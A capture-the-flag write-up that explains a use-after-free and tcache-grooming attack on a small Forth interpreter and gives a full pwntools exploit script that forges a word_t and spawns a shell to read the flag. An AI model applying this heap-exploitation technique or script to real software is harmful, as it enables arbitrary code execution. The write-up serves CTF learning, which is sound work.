$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: a tiny Forth interpreter with user-defined words, deletion, and a startup leak of dosys(). Solution: exploit a use-after-free in forget, groom tcache to reclaim a stale word_t as name chunks, forge a fake word_t, and redirect execution to dosys(\"sh\").
The original organizer description was not preserved in the task directory.
We are given a small Forth-like interpreter implemented in C. The goal is to study how user-defined words are compiled and deleted, then turn a memory-management bug into code execution and read the flag.
The core runtime object is:
typedef struct word { long flags; long length; long referenced_by; void (*code)(void *); void *param; } word_t;
Dictionary entries are stored separately as:
typedef struct dictionary { char *name; word_t *word; struct dictionary *next; bool alloc_name; } dict_t;
When the interpreter compiles a new word, it appends raw word_t * pointers into compile_def. There is no indirection layer: compiled words directly reference the original word_t objects.
That would still be safe if deletion respected ownership, but delete_word() does not check referenced_by before freeing the target word. So if word a was compiled to call word b, then forget b frees b even though a still contains a pointer to b.word_t. This is a classic dangling-pointer bug and gives us a use-after-free primitive.
The challenge also prints the runtime address of dosys() at startup:
printf("%p\n", dosys);
That immediately leaks the PIE base, so we can compute both dosys and the address of g_stack.
The heap layout is especially convenient:
sizeof(word_t) lands in the 0x30 tcache bin.sizeof(dict_t) also lands in the 0x30 tcache bin.compile_def allocation for a freshly compiled word lands in the 0x90 tcache bin.The exploit relies on careful tcache grooming. We create several helper words, then compile b, and then compile a so that a contains a stale raw pointer to b.word_t. After that, we free enough same-size chunks to control tcache counts. The important part is that forgetting b places b.word_t into the 0x30 tcache bin while b.dict_t spills instead of reclaiming the same slot, preserving the stale chunk for later reuse.
Once that freed b.word_t chunk is available, we reclaim it as a short name allocation three times and progressively overwrite the stale structure in place.
We choose a writable g_stack cell whose low six bytes contain no whitespace or NUL, because tokens are parsed with %s. Then we perform three reclaim stages:
param so the forged word_t points at the chosen g_stack cell.dosys into code and zero one remaining byte.dosys again and zero the last remaining code byte.After these writes, the dangling pointer inside a now resolves to a fake word_t whose code is dosys and whose param points into g_stack.
Finally, pushing decimal 26739 places 0x6873 on the selected stack cell, which is the string "sh" in little endian. Calling the stale word a therefore executes dosys("sh"), which reaches system("sh").
From the resulting shell, cat flag* prints the flag.
The exploit script below implements the full attack:
#!/usr/bin/env python3 from pwn import * HOST = "spelling-bee.opus4-7.b01le.rs" PORT = 8443 DOSYS_OFF = 0x146B GSTACK_OFF = 0x5100 BAD = set(b" \t\r\n\x0b\x0c\x00") def good(bs: bytes) -> bool: return all(b not in BAD for b in bs) def pick_stack_target(base: int): g_stack = base + GSTACK_OFF for off in range(8, 8 * 64, 8): addr = g_stack + off low6 = p64(addr)[:6] if good(low6): return addr, off // 8 raise RuntimeError("no usable g_stack cell") def main(): io = remote(HOST, PORT, ssl=True) io.recvuntil(b"implement them for me?\n") dosys = int(io.recvline().strip(), 16) base = dosys - DOSYS_OFF target, cell = pick_stack_target(base) log.info(f"dosys = {hex(dosys)}") log.info(f"base = {hex(base)}") log.info(f"target = {hex(target)} (cell {cell})") n1 = b"A" * 24 + b"B" * 8 + p64(target)[:6] n2 = b"A" * 24 + p64(dosys)[:6] + b"X" n3 = b"A" * 24 + p64(dosys)[:6] assert len(n1) == 38 and good(n1) assert len(n2) == 31 and good(n2) assert len(n3) == 30 and good(n3) tokens = [ b":", b"f1", b";", b":", b"f2", b";", b":", b"f3", b";", b":", b"f4", b";", b":", b"f5", b";", b":", b"b", b";", b":", b"a", b"b", b";", b"forget", b"f1", b"forget", b"f2", b"forget", b"f3", b"forget", b"b", b":", n1, b";", b"forget", b"f4", b":", b"t1", b"1", b";", b"forget", b"t1", b"forget", n1, b":", n2, b";", b"forget", b"f5", b":", b"t2", b"1", b";", b"forget", b"t2", b"forget", n2, b":", n3, b";", ] for _ in range(cell - 1): tokens.append(b"0") tokens.append(str(0x6873).encode()) tokens.append(b"a") io.send(b" ".join(tokens) + b"\n") io.sendline(b"cat flag*; exit") print(io.recvrepeat(2).decode(errors="ignore")) if __name__ == "__main__": main()
dosys.g_stack cell whose address bytes are safe inside a token.b, then word a that references b, so a stores a raw pointer to b.word_t.0x30 tcache state.forget b and leave a dangling word_t * inside a.b.word_t chunk as short name allocations three times, forging param and then code.26739 so the chosen stack cell contains "sh".a, which now dispatches to forged dosys("sh").cat flag*.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar